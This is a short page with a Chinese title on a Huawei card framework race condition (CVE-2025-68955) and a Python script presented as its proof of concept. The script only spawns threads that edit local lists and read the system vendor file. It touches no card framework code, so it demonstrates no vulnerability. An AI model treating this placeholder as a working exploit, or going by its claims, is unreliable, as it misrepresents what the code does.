华为卡框架模块多线程竞态条件漏洞(CVE-2025-68955)

#!/usr/bin/env python3 """ CVE-2025-68955 - Race Condition PoC Huawei Card Framework Module Race Condition Vulnerability Note: This is a conceptual PoC for educational purposes only. Actual exploitation requires device-specific access and testing. """ import threading import time import os def trigger_race_condition(thread_id): """ Attempts to trigger race condition in card framework module. This simulates concurrent access patterns that may exploit the vulnerability. """ print(f"[Thread-{thread_id}] Initiating concurrent access to card framework...") # Simulate card framework operations # In real scenario, this would involve actual card framework API calls shared_resource = [] # Multiple threads accessing shared resource without synchronization for i in range(100): # Race condition window: read-modify-write without lock current_state = shared_resource.copy() time.sleep(0.0001) # Simulate processing delay current_state.append(f"thread_{thread_id}_op_{i}") shared_resource = current_state print(f"[Thread-{thread_id}] Completed {len(shared_resource)} operations") def main(): """ Main PoC execution function. Creates multiple threads to trigger race condition. """ print("=" * 60) print("CVE-2025-68955 PoC - Race Condition in Card Framework") print("=" * 60) print("Target: Huawei devices with vulnerable card framework module") print("CVSS: 8.0 (High)") print("Attack Vector: Local (AV:L)") print("=" * 60) # Check if running on Huawei device (simplified check) if "huawei" not in os.popen("cat /sys/class/dmi/id/sys_vendor 2>/dev/null || echo unknown").read().lower(): print("[!] Warning: Not running on Huawei device - PoC may not be effective") threads = [] num_threads = 10 print(f"\n[*] Starting {num_threads} concurrent threads...") start_time = time.time() # Create and start threads to trigger race condition for i in range(num_threads): t = threading.Thread(target=trigger_race_condition, args=(i,)) threads.append(t) t.start() # Wait for all threads to complete for t in threads: t.join() elapsed = time.time() - start_time print(f"\n[*] All threads completed in {elapsed:.2f} seconds") print("[*] Check system logs for any card framework errors or crashes") print("\n[!] Disclaimer: This PoC is for authorized security testing only") if __name__ == "__main__": main()